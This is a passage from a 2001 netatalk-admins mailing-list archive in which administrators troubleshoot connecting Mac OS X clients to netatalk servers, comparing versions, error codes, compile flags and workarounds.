> No success, I get -43 and -37 errors _everywhere_  (uploading and 
> downloading) - looks like an .AppleDouble problem? (thought they were 
> related to resources, those errors).
> But the same dirs used to work perfectly with pre3m (I'll check
thisone 
> out, anyway!).
>
> With pre-asun2.1.4-37b it got better:
> Mounts OK, downloads and gives the -43 error only on some files.
> But then, after throwing one copied folder to the trash, when trying
to 
> empty it, I get a message with 'not enough privileges to perform 
> operation'.
> Weird enough: I got into the terminal, su-rooted (with an enabled root

> account, via NetInfoManager).
> This is what I got when I tried to rm the stuff in
/Users/lopez/.Trash:
>
> override rwx------  lopez/staff for 
> 6100's/Preferences/UMAX/VistaScan/Viewer Files/BRI4.JPG? y
> rm: 6100's/Preferences/UMAX/VistaScan/Viewer Files/BRI4.JPG: Operation

> not permitted
>
> I tried to chmod 660 all the stuff in there:
>
> root# chmod -R 660 *
> chmod: 6100's//Preferences/UMAX/VistaScan/Viewer Files/Y9.JPG: 
> Operation not permitted
> sort of weird! How can I get rid of that stuff now??
>
> it could well be that it's the names of that folder I tried with,
which 
> contain 'Preferences' and other strange mac chars. Anyway, an ls -la
in 
> the undeletable folder items gives:
>
> -rwx------    1 lopez  staff    6988 May 27  1998 Y5_4.JPG
> -rwx------    1 lopez  staff    6940 May 27  1998 Y5_5.JPG
> ....
>
> After testing with other folders, things looked much better, but I 
> still get
> - unsufficient privileges
> - an item with the name 'Icon' already exists
> - some other errors
>
> but with other dirs I did not have the trashing-permission 
> problem........
>
> ....at least, I got to mount the volumes on Mac OS X 10.0.0, which I 
> never got to work with netatalk 1.4.99 and sourceforge-successors.
> I'd be glad if someone has a solution...... anyway, I'm sure as soon
as 
> rufustfirefly or asun or anybody else involved will get to reproduce 
> the problems, they'll be solved.
> Damned...... I'd really like to start using OSX now, despite it being 
> some kind of  'Beta 2'.
> I tried hard, with all versions of netatalk I could find. I'm not a C 
> programmer, just a web developer, and sysadmin.
> I compiled mostly on LinuxPPC (cause there I have our most important 
> files).
>
>
> :-(
>
>
>
> Allright, now I'll reboot into macos9, and since it worked so well
with 
> OS9, switch back to 1.5pre3........
>
> Lorenzo
>
> p.s.
>
> here's a list of my experiments....... if it can be useful to anybody,

> anyway. I mean, it can be a reference only to those that see matching 
> experiences in at least 2 cases ;)
>
> === 1.4b2+asun2.1.3: ===
>
> Same experience with the following OSes:
>
> SuSE Linux 6.3/Intel:
> SuSE Linux 7.0/Intel
> SuSE Linux 7.0/PPC
> LinuxPPC 2000 Q4
>
> - distri standard;
> - works with OS9, slow. resource, ownership, ID related problems on
OS9;
> - OSX client connects and mounts, but plenty of problems when opening
/ 
> editing files;
>
> === netatalk-pre-asun2.1.4-38b_test ===
>
> LinuxPPC 2000 Q4
>
> - works with OS9, FAST. seems OK on OS9, but I'd have to make more 
> tests, no time now.
> - OSX client connects and mounts, but -43 and -37 errors EVERYWHERE, 
> also with files without resources or type/creators;
>
> === netatalk-pre-asun2.1.4-37b===
>
> LinuxPPC 2000 Q4
>
> - OS9 not tested yet
> - OSX client connects and mounts, but -43 and -37 errors when copying,

> but only on some files.
> - When putting things of SOME folders to the trash (looks like folder 
> name problems!), can't empty trash 'not enough privileges'
> - otherwise _very fast_ on OSX, also on many folders and files!
>
> === netatalk-1.4.99-0.20001108 ===
>
> SuSE Linux 6.3/Intel:
> - works with OS9; fast. alias problems;
> - OSX clients get disconnected immediately after share choice;
>
> LinuxPPC 2000 Q4:
> - compiled but didn't work: disconnect upon file share choice with
OS9.
>
>
> === netatalk-1.5pre3 ===
>
> SuSE Linux 6.3/Intel:
> - works with OS9; fast. folder alias problems;
> - OSX clients get disconnected immediately after share choice; slow 
> sherlock name searches;
> - best choice for me now (production).
>
> SuSE Linux 7.0/Intel
> - works with OS9; fast. folder alias problems;
> - OSX clients get disconnected immediately after share choice; slow 
> sherlock name searches;
> - best choice for me now (production).
>
> LinuxPPC 2000 Q4
> - configure-related problems (setpgrp...), 'commented' out to get
ahead.
> - works with OS9; fast. folder alias problems; extremely slow sherlock

> name searches;
> - OSX clients get disconnected immediately after share choice;
> - best choice for me now (production).
>
> === netatalk-1.5pre4 ===
>
> LinuxPPC 2000 Q4
> - compiled but didn't work: disconnect upon file share choice with OS9

> (same problem as with OSX).
>
> SuSE Linux 6.3/Intel:
> - problems compiling
>
> === netatalk-1.5pre5 ===
>
> LinuxPPC 2000 Q4
> - configure-related problems (can not check if setpgrp is cross 
> compiling...), 'commented' out some configure lines to get ahead.
> - suspicious messages when making
> - install problems: codepages not found? had to get them from an older

> /etc/atalk file
> - after a few hours of work, when i came back and netatalk had
crashed.
> - switched back to pre3
>
> .....
>
> :-|
>
> p.p.s.
>
> I like thisone quite a bit. It' s just about almost everything:
>
>> ========================================================
>>
>> "Always ask the question, never assume the answer."
>> 		Marcus Radich 1999
>>
>> ========================================================
>
> assuming is a bad habit......
> difficult to give up, in some cases, too......
> (it always gives the illusion to be effective - especially in 
> programming issues)
>
> ;-)
>
>
> Lorenzo
>
>
>
> At 12:09 Uhr +1200 29.03.2001, Marcus Radich wrote:
>> OK, I originally found that asun2.1.3 was wicked for serving quark 
>> dox, but when I updated to 214, I started having file locking
problems 
>> with quark (typical). Also seems to happen with codewarrior(noted by
a 
>> friend).
>> So after reading through asun's notes, I found a section which refers

>> to the "old style" of byte locking. Adding the DEF= line and 
>> recompiling works perfectly. I have over 20 servers in production 
>> proving that!
>>
>> Go to: ftp://ftp.cobaltnet.com/pub/users/asun/testing/  if you need
it.
>>
>> I'm currently running MacOS X 4L5 (10.0.1), which BTW is quite a bit 
>> snappier than 4K78 (10.0.0), and connecting to these servers shows no

>> issues. Confirmed and tested!
>>
>> (Also, for those "Mac OS X is too slow" people. Get 10.0.1 when it 
>> comes out (soon), and get Plus for X. It allows you to change Genie
to 
>> scale and other less-CPU-intensive things. Look on versiontracker for

>> a link to this)
>>
>> I still use 1.4b2+asun214-37b because it works. I think I will start 
>> experimenting with 1.5 soon.
>>
>> mrad01
>>
>>
>> At 12:08 PM -0500 28/3/2001, Steven Karel wrote:
>>> 1. Just wanted to concur with Marcus that 
>>> netatalk-1.4b2+asun2.1.4-pre37b
>>> works fine with the appleshare client in OS X 10.0,.whereas the
public
>>> beta failed horribly . Not all versions of netatalk are that well 
>>> behaved,
>>> however. I haven't tested exhaustively, but I do know that 37b works

>>> on at
>>> least 4 of our servers (RH 6.2/RH 7.0). Also, the old version 
>>> 1.4b2-2.1.3
>>> seems to work as well.
>>>
>>> 2. Setting -DUSE_FLOCK_LOCKS doesn't seem to be necessary for this
>>> purpose, although it may help with file locking for other reasons. 
>>> Marcus,
>>> if you could be so kind, can you explain for us again what problems
it
>>> solves, and where exactly you recommend setting it? (I added
>>> -DUSE_FLOCK_LOCKS in the sys/linux/Makefile DEFS= line)
>>>
>>> README.ASUN says:
>>>
>>>
>>> 	byte locks should now work. if you want to enable the old way
>>>        of doing things, add -DUSE_FLOCK_LOCKS.
>>>
>>>
>>>
>>> thanks,
>>>
>>> stevne
>>>
>>> On Wed, 28
>>> Mar 2001, Marcus Radich wrote:
>>>
>>>>
>>>> BTW, netatalk 1.4b2+asun 214 -37b works very well with Mac OS X as
>>>> long as you add the DEFS= -DFLOCKS thingy to the sys/Linux/Makefile
>>>> before you compile. I haven't tried 1.5. You can only connect via
IP
>>>> (great!) and transferring files large and small has worked for me
>>>> since 4K46
>>>>
>>>> mrad01
>>>>
>>
>>
>>
>> --
>> ========================================================
>>
>> "Always ask the question, never assume the answer."
>> 		Marcus Radich 1999
>>
>> ========================================================
>

From netatalk.administrators-errors@umich.edu  Wed Apr  4 14:49:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA05209
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 4 Apr 2001 14:49:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16222
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 4 Apr 2001 14:49:56 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA16179
	for netatalk.administrators-members@umich.edu; Wed, 4 Apr 2001 14:49:54 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA16052
	for <Netatalk-Admins@umich.edu>; Wed, 4 Apr 2001 14:49:53 -0400 (EDT)
Received: from math.ohio-state.edu (IDENT:postfix@hooloovoo.math.ohio-state.edu [128.146.111.37])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f34Inme10123;
	Wed, 4 Apr 2001 14:49:48 -0400
Received: by math.ohio-state.edu (Postfix, from userid 2405)
	id E1201B9E2; Wed,  4 Apr 2001 14:49:47 -0400 (EDT)
Received: from localhost (localhost [127.0.0.1])
	by math.ohio-state.edu (Postfix) with ESMTP
	id 9AAAEB9E1; Wed,  4 Apr 2001 14:49:47 -0400 (EDT)
Date: Wed, 4 Apr 2001 14:49:47 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: Jason Quigley <jasonq@mac.com>
Cc: <Netatalk-Admins@umich.edu>
Subject: Re: Mac OS X and netatalk...
In-Reply-To: <200104032322.f33NMln04510@vulcan.borgspace.alpha>
Message-ID: <Pine.LNX.4.30.0104041448340.24655-100000@hooloovoo.math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


On Wed, 4 Apr 2001, Jason Quigley wrote:

> Hi Chad!
>
> Don't go the way of NFS if you're going to be mixing client platforms.
> That's bad karma, in my experience. 10 messes things up for 9 and can't
> read things that 9 puts on the share.

Trust me, I don't *want* to :) But it's currently the only way I have of
accessing files on my linux box... I've tried various versions of netatalk
with no luck.

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Wed Apr  4 15:53:18 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA06644
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 4 Apr 2001 15:53:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA21539
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 4 Apr 2001 15:53:18 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA21518
	for netatalk.administrators-members@umich.edu; Wed, 4 Apr 2001 15:53:17 -0400 (EDT)
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA21350
	for <netatalk-admins@umich.edu>; Wed, 4 Apr 2001 15:53:16 -0400 (EDT)
Received: from imr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkjil10889
	for <netatalk-admins@umich.edu>; Wed, 4 Apr 2001 19:53:10 GMT
Received: from [153.39.168.41] by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: macsupport2.corp.us.uu.net [153.39.168.41])
	id QQkjil03872
	for <netatalk-admins@umich.edu>; Wed, 4 Apr 2001 19:52:10 GMT
Mime-Version: 1.0
X-Sender: zer0@mail.mac.com
Message-Id: <a05100901b6f12a8344f1@[153.39.168.41]>
Date: Wed, 4 Apr 2001 15:51:51 -0400
To: netatalk-admins@umich.edu
From: David <zer0@mac.com>
Subject: Netatalk can work with OS X final - the old versions
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

All interested:

I've used a few different old versions and they all seem to work. 
Specifically I am using "netatalk-1.4b2+asun2.1.4-0.i386.rpm" which 
seemed to be the newest version I could find that actually worked.  I 
used RPMfind.net to locate it.  You may know about these old 
versions, they are missing some fairly useful features such as DHX 
authentication.  To get two-way encrypted passwords, you have to have 
a .passwd file in each user's home directory that is chmod 0700 and 
owned by the user.

David Shaub

From netatalk.administrators-errors@umich.edu  Wed Apr  4 16:24:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA07804
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 4 Apr 2001 16:24:22 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA08724
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 4 Apr 2001 16:24:22 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id QAA08702
	for netatalk.administrators-members@umich.edu; Wed, 4 Apr 2001 16:24:21 -0400 (EDT)
Received: from duffman (duffman.mgh.harvard.edu [132.183.191.79])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id QAA08606
	for <Netatalk-Admins@umich.edu>; Wed, 4 Apr 2001 16:24:20 -0400 (EDT)
Received: from eli (eli.mgh.harvard.edu [132.183.191.68])
	by duffman (Postfix on SuSE eMail Server 2.0) with SMTP id 8C311143730
	for <Netatalk-Admins@umich.edu>; Wed,  4 Apr 2001 15:22:07 -0400 (EDT)
From: Norman tenBroek <tenbroek@frodo.mgh.harvard.edu>
Reply-To: tenbroek@frodo.mgh.harvard.edu
To: Netatalk-Admins@umich.edu
Subject: SSH Work around
Date: Wed, 4 Apr 2001 16:25:52 -0400
X-Mailer: KMail [version 1.1.99]
Content-Type: text/plain;
  charset="iso-8859-1"
MIME-Version: 1.0
Message-Id: <01040416255208.18248@eli>
Content-Transfer-Encoding: 8bit

Hi,

Having failed to connect an OSX beta box to our netatalk server running on 
i386 Redhat 7.0 netatalk-1.5pre3. We downloaded a spiffy little ssh client 
for OSX which will give a graphical representation of the users home 
directory. Worked great.

http://www.rbrowser.com/RBrowser_main.html

Norm


-- 
Norman tenBroek
Systems Manager
Dept. of Molecular Biology
Mass. General Hospital


From netatalk.administrators-errors@umich.edu  Wed Apr  4 18:19:12 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA12962
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 4 Apr 2001 18:19:12 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA21001
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 4 Apr 2001 18:19:05 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA20345
	for netatalk.administrators-members@umich.edu; Wed, 4 Apr 2001 18:19:04 -0400 (EDT)
Received: from s1.uklinux.net (ns1.uklinux.net [212.1.130.11])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA19433
	for <netatalk-admins@umich.edu>; Wed, 4 Apr 2001 18:18:36 -0400 (EDT)
Received: from 212.1.149.126 (ppp-2-126.cvx4.telinco.net [212.1.149.126])
	by s1.uklinux.net (8.11.2/8.11.1) with ESMTP id f34MI6U13797
	for <netatalk-admins@umich.edu>; Wed, 4 Apr 2001 23:18:07 +0100
Envelope-To: <netatalk-admins@umich.edu>
Date: Wed,  4 Apr 2001 21:42:20 +0100
From: Rory Campbell-Lange <rory@campbell-lange.net>
Subject: Spool HPGL files to network device?
To: netatalk-admins@umich.edu
X-Priority: 3
Message-ID: <20010404231635-r01010600-d223f1db@212.1.149.126>
MIME-Version: 1.0
Content-Type: text/plain; Charset=US-ASCII
X-Mailer: Mailsmith 1.1.6 (Bluto)

I don't know much at all about Linux printing.

Our office has bought a device with 2 serial ports and an IP address. We
have attached it to our two HPGL plotters and can print to it over ftp. The
device, and "Axis printsender" supports printing over ftp, or spooling from
a Linux, Mac or NT box. The device has no spool capacity of its own.

A linux program provided with the device will install print drivers.

I would like our office's Mac users to be able to put HPGL files in a
directory shared using netatalk (I can do that bit!) and from there spool
files to the device. I can do a cron/perl script to periodically send files
to the "spooler" if someone could tell me what a "spooler" might consist
of!

Thanks for any help.
Rory

From netatalk.administrators-errors@umich.edu  Wed Apr  4 22:08:53 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id WAA20003
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 4 Apr 2001 22:08:53 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA00886
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 4 Apr 2001 22:08:53 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id WAA00865
	for netatalk.administrators-members@umich.edu; Wed, 4 Apr 2001 22:08:52 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id WAA00793
	for <netatalk-admins@umich.edu>; Wed, 4 Apr 2001 22:08:51 -0400 (EDT)
Received: from math.ohio-state.edu (math.ohio-state.edu [128.146.111.30])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f3528ne21195;
	Wed, 4 Apr 2001 22:08:49 -0400
Received: from localhost (ccunning@localhost)
	by math.ohio-state.edu (8.11.0/8.11.0) with ESMTP id f3528nO04066;
	Wed, 4 Apr 2001 22:08:49 -0400 (EDT)
Date: Wed, 4 Apr 2001 22:08:49 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: David <zer0@mac.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: Netatalk can work with OS X final - the old versions
In-Reply-To: <a05100901b6f12a8344f1@[153.39.168.41]>
Message-ID: <Pine.GSO.4.31.0104042205500.4051-100000@math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


This *almost* works for me... It connects fine and I can copy files
around, but if I try and copy a file to it I get an error that says

"The operation cannot be completed because one or more required items
could not be found (Error code -43)"

It copies ok, but type and creator info isn't working...

On Wed, 4 Apr 2001, David wrote:

> All interested:
>
> I've used a few different old versions and they all seem to work.
> Specifically I am using "netatalk-1.4b2+asun2.1.4-0.i386.rpm" which
> seemed to be the newest version I could find that actually worked.  I
> used RPMfind.net to locate it.  You may know about these old
> versions, they are missing some fairly useful features such as DHX
> authentication.  To get two-way encrypted passwords, you have to have
> a .passwd file in each user's home directory that is chmod 0700 and
> owned by the user.
>
> David Shaub
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Thu Apr  5 04:05:51 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA27315
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Apr 2001 04:05:51 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA08008
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Apr 2001 04:05:43 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA07981
	for netatalk.administrators-members@umich.edu; Thu, 5 Apr 2001 04:05:43 -0400 (EDT)
Received: from woj.com (brilliantmovies.com [64.69.72.50])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA07932
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 04:05:41 -0400 (EDT)
Received: from [10.0.1.35] (00-30-65-2e-60-6b.bconnected.net [209.53.45.201])
	by woj.com (8.9.3/8.9.3) with ESMTP id BAA04363
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 01:05:48 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 05 Apr 2001 01:04:01 -0700
Subject: Re: Mac OS X and netatalk...
From: Ian Wojtowicz <i@woj.com>
To: <Netatalk-Admins@umich.edu>
Message-ID: <B6F17501.83DF%i@woj.com>
In-Reply-To: <200104032320.f33NKKn04492@vulcan.borgspace.alpha>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> Does anybody know if Apple is interested in supporting anything other
> the Mac OS X Server or Appleshare IP? It would be nice to know what
> changes are going on in the client side, at least.

We need to lobby Apple to become involved in Netatalk development. Just like
the Linux version of QuickTime Streaming Server, Apple needs to promote Mac
connectivity on other platforms.

Use the Mac OS X feedback form to encourage Apple's involvement with
Netatalk.

http://www.apple.com/macosx/feedback/

___________________________________________________________________________
ian wojtowicz                                                http://woj.com


From netatalk.administrators-errors@umich.edu  Thu Apr  5 04:40:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id EAA27939
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Apr 2001 04:40:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA17918
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Apr 2001 04:40:57 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id EAA17897
	for netatalk.administrators-members@umich.edu; Thu, 5 Apr 2001 04:40:56 -0400 (EDT)
Received: from woj.com (brilliantmovies.com [64.69.72.50])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id EAA17846
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 04:40:55 -0400 (EDT)
Received: from [10.0.1.35] (00-30-65-2e-60-6b.bconnected.net [209.53.45.201])
	by woj.com (8.9.3/8.9.3) with ESMTP id BAA04497
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 01:40:54 -0700
User-Agent: Microsoft-Entourage/9.0.1.3108
Date: Thu, 05 Apr 2001 01:39:07 -0700
Subject: Folder Alias Problem
From: Ian Wojtowicz <i@woj.com>
To: <Netatalk-Admins@umich.edu>
Message-ID: <B6F17D3B.83E5%i@woj.com>
In-Reply-To: <200104032320.f33NKKn04492@vulcan.borgspace.alpha>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I've noticed that using Mac OS alias files that point to netatalk folders
can produce very unreliable results (the wrong folder is opened). Has anyone
else experienced this? Any ideas for fixes?

___________________________________________________________________________
ian wojtowicz                                                http://woj.com


From netatalk.administrators-errors@umich.edu  Thu Apr  5 07:16:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA00659
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Apr 2001 07:16:57 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA24231
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Apr 2001 07:16:49 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id HAA24203
	for netatalk.administrators-members@umich.edu; Thu, 5 Apr 2001 07:16:49 -0400 (EDT)
Received: from mailout01.sul.t-online.com (mailout01.sul.t-online.com [194.25.134.80])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id HAA24140
	for <Netatalk-Admins@umich.edu>; Thu, 5 Apr 2001 07:16:47 -0400 (EDT)
Received: from fwd02.aul.t-online.de 
	by mailout01.sul.t-online.com with smtp 
	id 14l7l0-0004kH-04; Thu, 05 Apr 2001 13:16:54 +0200
Received: from [192.168.0.33] (07031811601-0001@[217.2.89.237]) by fmrl02.sul.t-online.com
	with esmtp id 14l7kv-22sQ5oC; Thu, 5 Apr 2001 13:16:49 +0200
Mime-Version: 1.0
Message-Id: <a05010401b6f1fa48e4ef@[192.168.0.33]>
In-Reply-To: <B6F17D3B.83E5%i@woj.com>
References: <B6F17D3B.83E5%i@woj.com>
Date: Thu, 5 Apr 2001 12:33:57 +0200
To: Netatalk-Admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: Re: Folder Alias Problem
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id HAA00659

>I've noticed that using Mac OS alias files that point to netatalk folders
>can produce very unreliable results (the wrong folder is opened). Has anyone
>else experienced this? Any ideas for fixes?

No problems with 1.4.pre39 and OS 8.6 or higher
-- 
Mit freundlichen Grüßen
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

I never wanted to be average,  because when you are average you are 
just as far from the top as you are from the bottom. (Stan Cottrell) 

From netatalk.administrators-errors@umich.edu  Thu Apr  5 08:41:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA02082
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 5 Apr 2001 08:41:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA13882
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 5 Apr 2001 08:41:27 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA13868
	for netatalk.administrators-members@umich.edu; Thu, 5 Apr 2001 08:41:26 -0400 (EDT)
Received: from mail.jamesltaylor.com (mail.jamesltaylor.com [205.232.131.2])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA13812
	for <netatalk-admins@umich.edu>; Thu, 5 Apr 2001 08:41:24 -0400 (EDT)
Received: from [205.232.131.4] (CAD.jamesltaylor.com [205.232.131.4])
	by mail.jamesltaylor.com (8.9.3/8.8.7) with ESMTP id JAA20106;
	Thu, 5 Apr 2001 09:35:22 -0400
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 05 Apr 2001 08:40:34 -0500
Subject: Re: Netatalk can work with OS X final - the old versions
From: Vic Landi <vic@mail.jamesltaylor.com>
To: David <zer0@mac.com>, <netatalk-admins@umich.edu>
Message-ID: <B6F1E002.1FD1%vic@jamesltaylor.com>
In-Reply-To: <a05100901b6f12a8344f1@[153.39.168.41]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I too use an older version that works OK...

netatalk-1.4b2+asun2.1.4-7.i386.rpm

> From: David <zer0@mac.com>
> Date: Wed, 4 Apr 2001 15:51:51 -0400
> To: netatalk-admins@umich.edu
> Subject: Netatalk can work with OS X final - the old versions
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Wed, 4 Apr 2001 15:58:19 -0400 (EDT)
> 
> All interested:
> 
> I've used a few different old versions and they all seem to work.
> Specifically I am using "netatalk-1.4b2+asun2.1.4-0.i386.rpm" which
> seemed to be the newest version I could find that actually worked.  I
> used RPMfind.net to locate it.  You may know about these old
> versions, they are missing some fairly useful features such as DHX
> authentication.  To get two-way encrypted passwords, you have to have
> a .passwd file in each user's home directory that is chmod 0700 and
> owned by the user.
> 
> David Shaub


From netatalk.administrators-errors@umich.edu  Thu Apr  5 08:45:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
